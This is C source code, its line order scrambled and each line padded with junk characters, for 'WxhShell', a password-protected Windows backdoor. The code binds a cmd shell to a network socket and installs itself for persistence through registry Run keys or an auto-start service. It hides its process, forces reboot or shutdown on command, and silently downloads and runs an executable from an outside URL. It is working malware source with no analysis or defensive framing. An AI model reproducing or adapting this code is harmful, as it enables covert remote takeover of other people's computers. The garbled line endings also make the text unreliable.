    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m'5rzZP  
    else { JbW!V Y  
    closesocket(wsh); .$s=E8fW  
    ExitThread(0); 6x"|,,&MD0  
    } O%rt7qV"g2  
    break; Tg/r V5@ka  
    } 07A2@dx  
  // 获取shell 5MS5 Q]/  
  case 's': { {y==8fCJ  
    CmdShell(wsh); _`q ei0  
    closesocket(wsh); Fn*)!,)  
    ExitThread(0); PZSi}j/  
    break; &-4SA j  
  } =\)qUs\z  
  // 退出 h"ko4b3^'@  
  case 'x': { # {|F2AM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?8R  
    CloseIt(wsh); G,A;`:/  
    break; LJ mRa  
    } h/\/dp/tt  
  // 离开 >y^zagC*  
  case 'q': { If%**o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1}b1RKKj<  
    closesocket(wsh); ]|)M /U *  
    WSACleanup(); _dynqF8*  
    exit(1); VU(#5X%Pn  
    break; hwdZP=X  
        } L Olj8T8Z  
  } =Btmi  
  } c`4i#R  
\>(S?)6  
  // 提示信息 $_b^p=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R9O[`~BA2  
} -'Y@yIb  
  } e*jfxQ=qG  
/_CSRi&  
  return; 7s.vJdA]6  
} A_<1}8{L  
&Un^ _M  
// shell模块句柄 Pqb])-M9p  
int CmdShell(SOCKET sock) ]>k>Z#8E*  
{ rc)vVv  
STARTUPINFO si; J-+p]xG  
ZeroMemory(&si,sizeof(si)); /d]{ #,k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /2AeJH\-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q>[GD(8k  
PROCESS_INFORMATION ProcessInfo; %2`geN<  
char cmdline[]="cmd"; + hKH\]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l?swW+ x\  
  return 0; oEnCe  
} WbDD9ZS  
EJZb3  
// 自身启动模式 )Qx&m}  
int StartFromService(void) X1; ljX  
{ ZsepTtY  
typedef struct f1}b;JJTsv  
{ 8nOent0a  
  DWORD ExitStatus; zoI0oA  
  DWORD PebBaseAddress; 9Z;"9$+M  
  DWORD AffinityMask; QX&1BKqWn  
  DWORD BasePriority; F~${L+^  
  ULONG UniqueProcessId; \)m V2r!%  
  ULONG InheritedFromUniqueProcessId; e-/+e64Q@  
}   PROCESS_BASIC_INFORMATION; #ysSfM6  
o5 |P5h  
PROCNTQSIP NtQueryInformationProcess; !'T,%8']  
E HY}gG)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Bog\mS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r-k,4Yz  
b_xGCBC  
  HANDLE             hProcess; k>dzeH  
  PROCESS_BASIC_INFORMATION pbi; )A H)*Mg  
2%zJI"Ic  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2v9T&xo=  
  if(NULL == hInst ) return 0; rytaC(  
WnZn$N.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :OvTZ ?\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,I|TjC5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YsXf+_._  
@2Ca]2,4  
  if (!NtQueryInformationProcess) return 0; 1>e%(k2w%  
UO{3v ry48  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]@bu%_s"  
  if(!hProcess) return 0; FW7@7cVoF  
lL{1wCsl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5fVm392+  
#K _E/~  
  CloseHandle(hProcess); q%xq\L.  
_|%l) KO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^RO_B}n3  
if(hProcess==NULL) return 0; Oe:_B/l  
f))'8  
HMODULE hMod; H`028^CH$  
char procName[255]; S((\KL,  
unsigned long cbNeeded; U>jLh57  
Da8{==  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~*,e&I  
=h se2f  
  CloseHandle(hProcess); $2+(|VG4F  
dl&402  
if(strstr(procName,"services")) return 1; // 以服务启动 y%^TZ[S  
*dE5yS`H  
  return 0; // 注册表启动 :ncR7:Z  
} H[KTM'n  
q"sD>Yh&  
// 主模块 BavGirCp  
int StartWxhshell(LPSTR lpCmdLine)  #3m7`}c  
{ 't:s6  
  SOCKET wsl; #>/s tU-  
BOOL val=TRUE; (<:mCPk(~  
  int port=0; k%S;N{Qh@  
  struct sockaddr_in door; Q!_@Am"h  
mfpL?N  
  if(wscfg.ws_autoins) Install(); `tb@x ^  
KJ&~z? X  
port=atoi(lpCmdLine); KeiPo KhZi  
:VEy\ R>W  
if(port<=0) port=wscfg.ws_port; xp<p(y8e1d  
G)'(%rl  
  WSADATA data; ;$= GrR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2%F!aeX  
O=LiCSNEV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >u)DuZXj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o}4J|@Hi|4  
  door.sin_family = AF_INET; !O-9W=NJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Skn2-8;10  
  door.sin_port = htons(port); -6./bB g  
*f4BD||  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n :P5m9T  
closesocket(wsl); IFg(Ze~  
return 1; hi(u L>\  
} +,BJ4``*k  
Wk"\aoX"E  
  if(listen(wsl,2) == INVALID_SOCKET) { _x ;fTW0  
closesocket(wsl); OY>0qj  
return 1; KKLW-V\6K  
} Rw9 *!<Izt  
  Wxhshell(wsl); `LID*uD;_  
  WSACleanup(); R?K[O   
[)&(zJHX  
return 0; > l@ o\  
wK[Xm'QTPJ  
} U;Ne"Jh  
%ut7T!Jp  
// 以NT服务方式启动 Q|`sYm'.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;0!rq^JG  
{ {_{&t>s2  
DWORD   status = 0; cqyrao3;  
  DWORD   specificError = 0xfffffff; Ao/KB_4f*Q  
aAX(M=3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s[HQq;S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [8J/# !B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O)4P)KAO<  
  serviceStatus.dwWin32ExitCode     = 0; !ufSO9eDx"  
  serviceStatus.dwServiceSpecificExitCode = 0; STxreW1  
  serviceStatus.dwCheckPoint       = 0; (Z72 3)  
  serviceStatus.dwWaitHint       = 0; u3>D vl@  
s{]2~Z^2od  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V9"?}cR/W;  
  if (hServiceStatusHandle==0) return; %bs~%6)  
gqi|k6V/  
status = GetLastError(); 5U3 b&0  
  if (status!=NO_ERROR) *7yu&a8  
{ JZS#Q\JN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N))G/m3  
    serviceStatus.dwCheckPoint       = 0; ;| :^zo  
    serviceStatus.dwWaitHint       = 0; z&@Vg`w"  
    serviceStatus.dwWin32ExitCode     = status; uWSfr(loX  
    serviceStatus.dwServiceSpecificExitCode = specificError; /`j~r;S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eT|"6WJ:{  
    return; 9se ,c  
  } 34$qV{Y%y  
@9wug!,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;1&7v  
  serviceStatus.dwCheckPoint       = 0; bz=B&YR  
  serviceStatus.dwWaitHint       = 0; 8+irul{H_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5ma*&Q8+  
} A]FjV~PB  
'#fwNbD  
// 处理NT服务事件,比如:启动、停止 mJ3|UClPS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xqua>!mqS  
{ {{\ d5CkX  
switch(fdwControl) @]EJbiGv  
{ -X6[qLq  
case SERVICE_CONTROL_STOP: l{7q(  
  serviceStatus.dwWin32ExitCode = 0; > $#v\8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _Zq2 <:  
  serviceStatus.dwCheckPoint   = 0; NzP5s&,C69  
  serviceStatus.dwWaitHint     = 0; 9mT;> mE  
  { >**7ck  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xfE:r:  
  } (Es0n$Xb  
  return; N>'T"^S/  
case SERVICE_CONTROL_PAUSE: !M[a/7x,p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; abVz/R/o  
  break; gUcG#  
case SERVICE_CONTROL_CONTINUE: 9? #pqw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -]?F  
  break; $g?`yE(K  
case SERVICE_CONTROL_INTERROGATE: 3%JPJuNVw  
  break; ^,$>z*WQ.  
}; 2 P=c1;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j0L A  
} A;4O,p@   
&mM[q 'V  
// 标准应用程序主函数 2[Ja|W\If  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) km]RrjRp  
{ #hOAG_a,  
,MtN_V-  
// 获取操作系统版本 ;LBq!  
OsIsNt=GetOsVer(); dz6i~&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {=Y.Z1E:  
T =l4Vb{>  
  // 从命令行安装 vPV=K+1  
  if(strpbrk(lpCmdLine,"iI")) Install(); %Tn0r|K  
:d7tzYT ^  
  // 下载执行文件 M] +FTz  
if(wscfg.ws_downexe) { 6n 2LG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~ [por  
  WinExec(wscfg.ws_filenam,SW_HIDE); er0hf2N]  
} >|Hd*pg))  
Gj.u /l  
if(!OsIsNt) { "uz}`G~O  
// 如果时win9x,隐藏进程并且设置为注册表启动 s5s'$|h"  
HideProc(); Z"# /,?|3@  
StartWxhshell(lpCmdLine); vq df-i  
} X\I"%6$  
else drJ<&1O  
  if(StartFromService()) ~olta\|  
  // 以服务方式启动 <V}^c/c!  
  StartServiceCtrlDispatcher(DispatchTable); em87`Hj^lo  
else *uLlf'qU]  
  // 普通方式启动 FE)L?  
  StartWxhshell(lpCmdLine); (5SN=6O  
B/(]AWi+  
return 0; M``I5r*cg  
} eQ}o;vJN  
&J\V !uVo  
*}t,:N;i  
-N')LY  
=========================================== `XwFH#_  
KT)A{i  
S z3@h"  
FQbF)K~e  
+$eEZ;4  
f$lf(brQ:  
" .,C8ASfh  
}}";)}C`  
#include <stdio.h> y] Io`w(>  
#include <string.h> 24TQl<H{  
#include <windows.h> BwN65_5p  
#include <winsock2.h> PQmgv&!DP  
#include <winsvc.h> ; 7`y##  
#include <urlmon.h> 0 ttM_]#q  
+%$'( t s  
#pragma comment (lib, "Ws2_32.lib") vGK'U*gGD  
#pragma comment (lib, "urlmon.lib") >-s\$8En'  
/$7_*4e  
#define MAX_USER   100 // 最大客户端连接数 nyZUf{:  
#define BUF_SOCK   200 // sock buffer @ (UacFO  
#define KEY_BUFF   255 // 输入 buffer 7*e7P[LQU  
7 I/  
#define REBOOT     0   // 重启 \\F@_nB,b  
#define SHUTDOWN   1   // 关机 a'LM6A8~x  
MYzyg  
#define DEF_PORT   5000 // 监听端口 .[v4'ww^  
,8KD-"l^g  
#define REG_LEN     16   // 注册表键长度 'V reO52  
#define SVC_LEN     80   // NT服务名长度 H!y%FaTi  
ZiBTe,;  
// 从dll定义API DK/xHIv8-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \X5>HPB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7b,5*]oZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : QK )Ym  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t7rz]EN  
}c>[m,lz  
// wxhshell配置信息 $Ik\^:-  
struct WSCFG { N7=L^]  
  int ws_port;         // 监听端口 By|y:  
  char ws_passstr[REG_LEN]; // 口令 {2`:7U ~|  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1M|DaAI  
  char ws_regname[REG_LEN]; // 注册表键名 Fm@G@W7,m  
  char ws_svcname[REG_LEN]; // 服务名 :%M[|Fj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sv<U$M~)X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yq{k:)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2Uf}gG)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l@ +]XyLj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~.;S>o[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tL?nO#Qx  
i-(^t1c  
}; 6m_whGosi  
qB`zyd8yu  
// default Wxhshell configuration ;><9R@0  
struct WSCFG wscfg={DEF_PORT, 6Q&R,"!$p  
    "xuhuanlingzhe", 5*=a*nD11  
    1, rrGsam\.  
    "Wxhshell", :I(-@2?{  
    "Wxhshell", $V$|"KRcs  
            "WxhShell Service", %KxL{ HY  
    "Wrsky Windows CmdShell Service", .".xNHR#  
    "Please Input Your Password: ", M@e&uz!Rx  
  1, \de82 4  
  "http://www.wrsky.com/wxhshell.exe", C wKo'PAJ  
  "Wxhshell.exe" YYrXLt:  
    }; ;dt&* ]wA  
Is~bA_- ;  
// 消息定义模块 F&r+"O)^-R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J1I"H<}-6  
char *msg_ws_prompt="\n\r? for help\n\r#>";  -lM4*+f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mOj6 4}_`"  
char *msg_ws_ext="\n\rExit."; *@J  
char *msg_ws_end="\n\rQuit."; <(Ub(  
char *msg_ws_boot="\n\rReboot..."; =]h5RC  
char *msg_ws_poff="\n\rShutdown..."; }(AgXvRq  
char *msg_ws_down="\n\rSave to "; &j}\ZD  
M6E.!Cs  
char *msg_ws_err="\n\rErr!"; r>N5 ^  
char *msg_ws_ok="\n\rOK!"; #4. S2m4  
_w+ix9Fr?  
char ExeFile[MAX_PATH]; 2.=3:q!H<%  
int nUser = 0; rA9BY :N@  
HANDLE handles[MAX_USER]; eWvL(2`Tx  
int OsIsNt; M{S7tMX  
_ukKzY  
SERVICE_STATUS       serviceStatus; 5b9v`6Kq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }-H<wQ&x  
g:/l5~b  
// 函数声明 H R$\jJ  
int Install(void); HFD5* Z~M  
int Uninstall(void); cyq]-B  
int DownloadFile(char *sURL, SOCKET wsh); $ig%YB  
int Boot(int flag); 7dl]f#uZU  
void HideProc(void); Fx']kn9  
int GetOsVer(void); ^E&':6(  
int Wxhshell(SOCKET wsl); &(h~{  
void TalkWithClient(void *cs); %C*oy$.  
int CmdShell(SOCKET sock); q^],K'  
int StartFromService(void); j[ !'l,I  
int StartWxhshell(LPSTR lpCmdLine); cT abZc  
IS0RhtGy/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MR$Bl"d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K29]B~0%E  
4C2JyP3  
// 数据结构和表定义 ^|DI9G(Bs  
SERVICE_TABLE_ENTRY DispatchTable[] = ($^XF:#5  
{ 3 }Z [d  
{wscfg.ws_svcname, NTServiceMain}, (KaP=t}  
{NULL, NULL} V.Pb AN  
}; o0Qy?14T-  
B@Zed Xi  
// 自我安装 *9}2Bmojv  
int Install(void) o.DT`L8  
{ EJP##eGx  
  char svExeFile[MAX_PATH]; olzP=08aaV  
  HKEY key; I^'kt[P'FZ  
  strcpy(svExeFile,ExeFile); s$e0;C!D  
@)mH"u!(7  
// 如果是win9x系统,修改注册表设为自启动 K1O0/2O  
if(!OsIsNt) { kQXtO)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gio'_X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^YzFEu$  
  RegCloseKey(key); Wd'wL"6De  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o >bf7+D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eh;SH^&6  
  RegCloseKey(key); !h&A^sAc  
  return 0;  Ex35  
    } Wbc*x  
  } /X)fWO S6  
} *Got  
else { e$|g  
) 'x4#5]  
// 如果是NT以上系统,安装为系统服务 s }q6@I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AZcW f8  
if (schSCManager!=0) T'2(sHk  
{ 3X,9K23T  
  SC_HANDLE schService = CreateService CN0&uyu#4  
  ( /!,>P[Vx  
  schSCManager, S2/c2  
  wscfg.ws_svcname, )|f!}( p  
  wscfg.ws_svcdisp, 5S:#I5Wa  
  SERVICE_ALL_ACCESS, a?%X9 +1A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GbG!vo  
  SERVICE_AUTO_START, 'Syq!=,  
  SERVICE_ERROR_NORMAL, rgheq<B:  
  svExeFile, weC$\st:D  
  NULL, SLRQ3<0W_  
  NULL, (u@p[ncN}  
  NULL, `WHP#z  
  NULL, iF2/:iP  
  NULL y8jk9Tv  
  ); - 8&M^-  
  if (schService!=0) t5 n$sF  
  { ,6?L.L  
  CloseServiceHandle(schService); bJ~]nj 3  
  CloseServiceHandle(schSCManager); GYYk3\r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *b9=&:pU(  
  strcat(svExeFile,wscfg.ws_svcname); !u)ve h3x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { */ZrZ^?o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5'gV_U  
  RegCloseKey(key); 4' bup h1(  
  return 0; y)?Sn  
    } D OiL3i"H  
  } DWZ!B7Ts  
  CloseServiceHandle(schSCManager); q?'*T?|  
} !Y/$I?13Z  
} Ak[}s|,)  
=rcqYPul0  
return 1; O#fGHI<43[  
} 7u-o7#,X2  
!Q =H)\3  
// 自我卸载 # (B <n  
int Uninstall(void) GQO}E@W6C  
{ .0;Z:x_3  
  HKEY key; ~=i9]%g ?  
~7T]l1]W%  
if(!OsIsNt) { VqLqj$P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;_)&#X,?(  
  RegDeleteValue(key,wscfg.ws_regname); #:v}d+  
  RegCloseKey(key); B'B,,Mz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FS30RP3 `/  
  RegDeleteValue(key,wscfg.ws_regname); %g}ri8  
  RegCloseKey(key); PvX>+y5  
  return 0; sF}T9 Ue  
  } HYf&0LT<11  
} 0t ?:  
} lpLjfHr  
else { $5T3JOFz  
_!kL7qJ"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %{g<{\@4(;  
if (schSCManager!=0) n#,|C`2r  
{ 1foy.3g-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .<j\"X(  
  if (schService!=0) C]K|;VQ  
  { lO>w|=<  
  if(DeleteService(schService)!=0) { -kT *gIJ}  
  CloseServiceHandle(schService); E9t[Mb %0  
  CloseServiceHandle(schSCManager); }N!I|<"/  
  return 0; j u`x   
  } lAz.I  
  CloseServiceHandle(schService); u{maE ,  
  } 4~=/CaG~  
  CloseServiceHandle(schSCManager); Q)S0z2  
} ,[ &@?  
} 0q(}nv  
ZW n j-  
return 1; JlJy3L8L  
} W>+\A"  
>.N?y@  
// 从指定url下载文件 XhjH68S(  
int DownloadFile(char *sURL, SOCKET wsh) cLn&b}8'  
{ IY2ca Xu  
  HRESULT hr; JSCe86a7<E  
char seps[]= "/"; hDI_qZ  
char *token; 0@ []l{N  
char *file; #@Yw]@5M  
char myURL[MAX_PATH]; uH S)  
char myFILE[MAX_PATH]; &u0JzK  
HTuv_kE  
strcpy(myURL,sURL); @DG$  
  token=strtok(myURL,seps); 6Pc3;X~  
  while(token!=NULL) aaW(S K  
  { =n|n%N4Y  
    file=token; /9<zG}:B  
  token=strtok(NULL,seps); C5GO?X2  
  } Ge=+ 0W)&  
`b 6j7  
GetCurrentDirectory(MAX_PATH,myFILE); ,,vl+Z <&  
strcat(myFILE, "\\"); YNV4w{>FD  
strcat(myFILE, file); 1:5jUUL8  
  send(wsh,myFILE,strlen(myFILE),0); #]pFE.o  
send(wsh,"...",3,0); T7_i: HU%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  oZTKG'  
  if(hr==S_OK) v {E~R  
return 0; uQgv ;jsPz  
else Y8YNRyc=  
return 1; Y}BT| "  
JJ_77i  
} ,;9byb  
<hazrKUn  
// 系统电源模块 + >?"P^  
int Boot(int flag) gwwYz]'d>r  
{ jy#'oadS?  
  HANDLE hToken; /f2HZfj  
  TOKEN_PRIVILEGES tkp; CU'$JF  
W=j  
  if(OsIsNt) { H.#<&5f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R@_i$Df|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v;4l*)$)  
    tkp.PrivilegeCount = 1; C,$$bmS =  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q^=drNV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x-0S-1M  
if(flag==REBOOT) { z 4 4(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9D,`9L5-=  
  return 0; D  /wX  
} 8V$pdz|[  
else { 4,kdP)Md$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;^VLx)q  
  return 0; vqDd][n  
} ";\na!MT  
  } 5{ ?J5  
  else { {z:aZ]QhKc  
if(flag==REBOOT) { T;jy2|mLo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,kiyx h^  
  return 0; 'o41)p  
} `rEu8u  
else { c!n\?lB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T 2Uu/^  
  return 0; z&x ^ Dl  
} 6 2{(i'K  
} \D Oqx  
.;#Wf @V  
return 1; @T>\pP]o  
} ?86q8E3;&  
A"Q6GM2;Io  
// win9x进程隐藏模块 LDilrG)  
void HideProc(void) ~wtl\-cY  
{ iK&s_}i:  
M'gw-^(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A#/O~-O^  
  if ( hKernel != NULL ) );-?~   
  { RlJt+lnV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?J[m)Uo/ K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "_!D b&AH  
    FreeLibrary(hKernel); GZ xG!r -  
  } };{V]f 0  
WBcnE( zF  
return; h+ixl#:  
} w"?H4  
yb{ud  
// 获取操作系统版本 1nHQ)od  
int GetOsVer(void) BllS3I}V  
{ =z_.RE  
  OSVERSIONINFO winfo; iKs @oHW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AXbDCDA  
  GetVersionEx(&winfo); AP1Eiv<Hub  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "'Bx<FA  
  return 1; (t$jb |Oa  
  else 3-^z<*  
  return 0; xLID @9Hbu  
} \v|nRn,`-  
|]s/NNU  
// 客户端句柄模块 9eG{"0)  
int Wxhshell(SOCKET wsl) Aun X[X9  
{ #m %ZW3  
  SOCKET wsh; of?hP1kl[  
  struct sockaddr_in client; _Z9HOl@  
  DWORD myID; H?\b   
B{x`^3q R  
  while(nUser<MAX_USER) OQl7#`G!H%  
{ TV&:`kH  
  int nSize=sizeof(client); cOz8YVR-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yDmNPk/  
  if(wsh==INVALID_SOCKET) return 1; `XT8}9z!  
ANqWY &f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y8$Y]2  
if(handles[nUser]==0) k&TZ   
  closesocket(wsh); {w/{)B nPG  
else 8OV;&Z,x  
  nUser++; j6Msbq[  
  } ^r4@C2#vzJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \PHbJN:BI  
X*4iNyIs_  
  return 0; z`)i"O]-K_  
} d2cslD d  
Kyn[4Bu!?  
// 关闭 socket T9&-t7:  
void CloseIt(SOCKET wsh) 5~BM+ja  
{ $@WqM$  
closesocket(wsh); Tf0"9  
nUser--; H rMH  
ExitThread(0); Gcu[G]D  
} }bkQr)us  
Vp"=8p#k  
// 客户端请求句柄 1W@ C]n4  
void TalkWithClient(void *cs) i -kj6N5  
{ c)L1@qdZ  
}vx+/J  
  SOCKET wsh=(SOCKET)cs; kMJf!%L(  
  char pwd[SVC_LEN]; ,Z_aZD4  
  char cmd[KEY_BUFF]; YB;q5[  
char chr[1]; ?o0ro?9j  
int i,j; $_ &Lp\  
*?l-:bc]  
  while (nUser < MAX_USER) { $C&y-Hnar  
H]zi>;D  
if(wscfg.ws_passstr) { >VnBWa<j3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B<V8:vOam  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KM'*+.I  
  //ZeroMemory(pwd,KEY_BUFF); VaV(+X  
      i=0; |+-D@22 y  
  while(i<SVC_LEN) { \my5E\  
moop.}O<  
  // 设置超时 @ OSSqH  
  fd_set FdRead; wWh)yfPh8H  
  struct timeval TimeOut; htgtgW9 ^P  
  FD_ZERO(&FdRead); &>jSuvVT  
  FD_SET(wsh,&FdRead); M&93TQU-  
  TimeOut.tv_sec=8; -a^%9 U  
  TimeOut.tv_usec=0; 8ch^e[U`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j@ehcK9|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `<cn b!]  
[wLK*9@&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S)n+E\c  
  pwd=chr[0]; 9Q*T'+V  
  if(chr[0]==0xd || chr[0]==0xa) { DK6^\k][V  
  pwd=0; xAZ-_}'tW  
  break;  _klT  
  } e-@.+ f2CC  
  i++; sWG_MEbu  
    } W`vgH/lSnZ  
_"4u?C#  
  // 如果是非法用户,关闭 socket Tgf\f%,h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `l%)0)T  
} m|/q o  
g`n5-D@3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); < 2 mbR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M15jwR!:M  
^9jrI  
while(1) { <SPT2NyX  
G (Ky7S Z  
  ZeroMemory(cmd,KEY_BUFF); ! 0}SZ  
%U<1]  
      // 自动支持客户端 telnet标准   ^8z~`he=_J  
  j=0; p?6`mH  
  while(j<KEY_BUFF) { EFk9G2@_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,NA _pvH)  
  cmd[j]=chr[0]; Z)Zc9SVC  
  if(chr[0]==0xa || chr[0]==0xd) { j=],n8_i  
  cmd[j]=0; Ra!Br6  
  break; D_)i%k\  
  } g)L?C'BG  
  j++; ZcQ@%XY3~  
    } *)8!~Hs   
L-,C5^  
  // 下载文件 }Dc7'GZ  
  if(strstr(cmd,"http://")) { w>TlM*3D/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zf,9 k".'C  
  if(DownloadFile(cmd,wsh)) 3$~oQC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F<YXkG4 pO  
  else rFJPeK7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GN=ugP 9  
  } l5/!0]/  
  else { M hwuh`v%  
z,f  
    switch(cmd[0]) { ==ZL0 ][  
  ^+MG"|)u~  
  // 帮助 %b1NlzB+  
  case '?': { &BZjQK  
